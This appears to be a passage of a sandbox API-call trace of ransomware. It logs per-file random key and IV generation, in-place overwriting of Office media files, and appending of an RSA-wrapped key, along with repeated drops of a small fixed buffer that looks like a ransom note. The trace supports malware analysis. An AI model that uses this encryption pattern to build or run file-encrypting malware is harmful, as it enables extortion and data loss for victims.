WriteFile (in: hFile=0x21f4, lpBuffer=0x4022020*, nNumberOfBytesToWrite=0x2e56fa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x4022020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2e56fa, lpOverlapped=0x0) returned 1 [0210.840] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2e56fa [0210.840] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.840] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.840] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e0840*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0840*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.841] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6ab0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.841] CloseHandle (hObject=0x21f4) returned 1 [0210.844] WriteFile (in: hFile=0x21fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0210.845] CloseHandle (hObject=0x21fc) returned 1 [0210.845] WriteFile (in: hFile=0x21fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0210.846] CloseHandle (hObject=0x21fc) returned 1 [0210.847] WriteFile (in: hFile=0x2200, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0210.857] CloseHandle (hObject=0x2200) returned 1 [0210.859] WriteFile (in: hFile=0x2200, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0210.859] CloseHandle (hObject=0x2200) returned 1 [0210.860] WriteFile (in: hFile=0x2200, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0210.861] CloseHandle (hObject=0x2200) returned 1 [0210.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0b58 | out: pbBuffer=0x30e0b58) returned 1 [0210.862] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0210.862] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", dwFileAttributes=0x80) returned 1 [0210.862] ReadFile (in: hFile=0x2208, lpBuffer=0x34be010, nNumberOfBytesToRead=0x19a00, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x19a00, lpOverlapped=0x0) returned 1 [0210.864] SetFilePointer (in: hFile=0x2208, lDistanceToMove=-104960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.864] WriteFile (in: hFile=0x2208, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x19a00, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19a00, lpOverlapped=0x0) returned 1 [0210.864] SetFilePointer (in: hFile=0x2208, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19a00 [0210.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0b58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0b58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.865] WriteFile (in: hFile=0x2208, lpBuffer=0x30e0b58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0b58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.865] WriteFile (in: hFile=0x2208, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.865] CloseHandle (hObject=0x2208) returned 1 [0210.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0210.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6910 | out: pbBuffer=0x30f6910) returned 1 [0210.871] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4", dwFileAttributes=0x80) returned 1 [0210.872] ReadFile (in: hFile=0x2208, lpBuffer=0x34be010, nNumberOfBytesToRead=0x19768, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x19768, lpOverlapped=0x0) returned 1 [0210.885] SetFilePointer (in: hFile=0x2208, lDistanceToMove=-104296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.885] WriteFile (in: hFile=0x2208, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x19768, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19768, lpOverlapped=0x0) returned 1 [0210.885] SetFilePointer (in: hFile=0x2208, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19768 [0210.885] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.886] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.886] WriteFile (in: hFile=0x2208, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.886] WriteFile (in: hFile=0x2208, lpBuffer=0x30f6910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6910*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.886] CloseHandle (hObject=0x2208) returned 1 [0210.888] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df298 | out: pbBuffer=0x30df298) returned 1 [0210.888] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0210.888] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv", dwFileAttributes=0x80) returned 1 [0210.891] ReadFile (in: hFile=0x2208, lpBuffer=0x6f4020, nNumberOfBytesToRead=0xc8b14, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f4020*, lpNumberOfBytesRead=0x2e1f9bc*=0xc8b14, lpOverlapped=0x0) returned 1 [0210.922] SetFilePointer (in: hFile=0x2208, lDistanceToMove=-822036, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.922] WriteFile (in: hFile=0x2208, lpBuffer=0x3d2e020*, nNumberOfBytesToWrite=0xc8b14, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2e020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc8b14, lpOverlapped=0x0) returned 1 [0210.930] SetFilePointer (in: hFile=0x2208, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc8b14 [0210.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.930] WriteFile (in: hFile=0x2208, lpBuffer=0x30df298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.930] WriteFile (in: hFile=0x2208, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.931] CloseHandle (hObject=0x2208) returned 1 [0210.932] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0210.932] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a60 | out: pbBuffer=0x30f6a60) returned 1 [0210.932] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv", dwFileAttributes=0x80) returned 1 [0210.934] ReadFile (in: hFile=0x2208, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x7600b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x7600b, lpOverlapped=0x0) returned 1 [0210.960] SetFilePointer (in: hFile=0x2208, lDistanceToMove=-483339, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.960] WriteFile (in: hFile=0x2208, lpBuffer=0x3727038*, nNumberOfBytesToWrite=0x7600b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3727038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7600b, lpOverlapped=0x0) returned 1 [0210.966] SetFilePointer (in: hFile=0x2208, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7600b [0210.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.966] WriteFile (in: hFile=0x2208, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.966] WriteFile (in: hFile=0x2208, lpBuffer=0x30f6a60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.967] CloseHandle (hObject=0x2208) returned 1 [0210.968] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0c60 | out: pbBuffer=0x30e0c60) returned 1 [0210.968] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0210.968] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", dwFileAttributes=0x80) returned 1 [0210.969] ReadFile (in: hFile=0x2208, lpBuffer=0x34be010, nNumberOfBytesToRead=0x1ce1b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ce1b, lpOverlapped=0x0) returned 1 [0210.983] SetFilePointer (in: hFile=0x2208, lDistanceToMove=-118299, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.984] WriteFile (in: hFile=0x2208, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1ce1b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ce1b, lpOverlapped=0x0) returned 1 [0210.984] SetFilePointer (in: hFile=0x2208, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ce1b [0210.984] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.984] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0c60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0c60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.985] WriteFile (in: hFile=0x2208, lpBuffer=0x30e0c60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0c60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.985] WriteFile (in: hFile=0x2208, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.985] CloseHandle (hObject=0x2208) returned 1 [0210.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0210.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6990 | out: pbBuffer=0x30f6990) returned 1 [0210.986] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", dwFileAttributes=0x80) returned 1 [0210.987] ReadFile (in: hFile=0x2208, lpBuffer=0x34be010, nNumberOfBytesToRead=0x1e8fb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x1e8fb, lpOverlapped=0x0) returned 1 [0210.996] SetFilePointer (in: hFile=0x2208, lDistanceToMove=-125179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.996] WriteFile (in: hFile=0x2208, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1e8fb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1e8fb, lpOverlapped=0x0) returned 1 [0210.997] SetFilePointer (in: hFile=0x2208, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1e8fb [0210.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0210.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0210.997] WriteFile (in: hFile=0x2208, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0210.997] WriteFile (in: hFile=0x2208, lpBuffer=0x30f6990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0210.998] CloseHandle (hObject=0x2208) returned 1 [0211.015] WriteFile (in: hFile=0x2218, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.017] CloseHandle (hObject=0x2218) returned 1 [0211.019] WriteFile (in: hFile=0x2218, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.020] CloseHandle (hObject=0x2218) returned 1 [0211.021] WriteFile (in: hFile=0x2218, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.022] CloseHandle (hObject=0x2218) returned 1 [0211.044] WriteFile (in: hFile=0x2218, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.045] CloseHandle (hObject=0x2218) returned 1 [0211.046] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.047] CloseHandle (hObject=0x221c) returned 1 [0211.048] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.049] CloseHandle (hObject=0x221c) returned 1 [0211.049] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.050] CloseHandle (hObject=0x221c) returned 1 [0211.050] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.051] CloseHandle (hObject=0x221c) returned 1 [0211.053] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.053] CloseHandle (hObject=0x221c) returned 1 [0211.054] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.055] CloseHandle (hObject=0x221c) returned 1 [0211.057] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.058] CloseHandle (hObject=0x221c) returned 1 [0211.079] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.080] CloseHandle (hObject=0x221c) returned 1 [0211.093] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.094] CloseHandle (hObject=0x221c) returned 1 [0211.096] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.097] CloseHandle (hObject=0x221c) returned 1 [0211.098] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.099] CloseHandle (hObject=0x221c) returned 1 [0211.100] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.101] CloseHandle (hObject=0x221c) returned 1 [0211.103] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.104] CloseHandle (hObject=0x221c) returned 1 [0211.104] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.105] CloseHandle (hObject=0x221c) returned 1 [0211.126] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.127] CloseHandle (hObject=0x221c) returned 1 [0211.142] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.143] CloseHandle (hObject=0x221c) returned 1 [0211.146] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.147] CloseHandle (hObject=0x221c) returned 1 [0211.151] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.152] CloseHandle (hObject=0x221c) returned 1 [0211.163] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.165] CloseHandle (hObject=0x221c) returned 1 [0211.171] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.173] CloseHandle (hObject=0x221c) returned 1 [0211.190] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.192] CloseHandle (hObject=0x221c) returned 1 [0211.206] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.207] CloseHandle (hObject=0x221c) returned 1 [0211.214] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.215] CloseHandle (hObject=0x221c) returned 1 [0211.216] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.219] CloseHandle 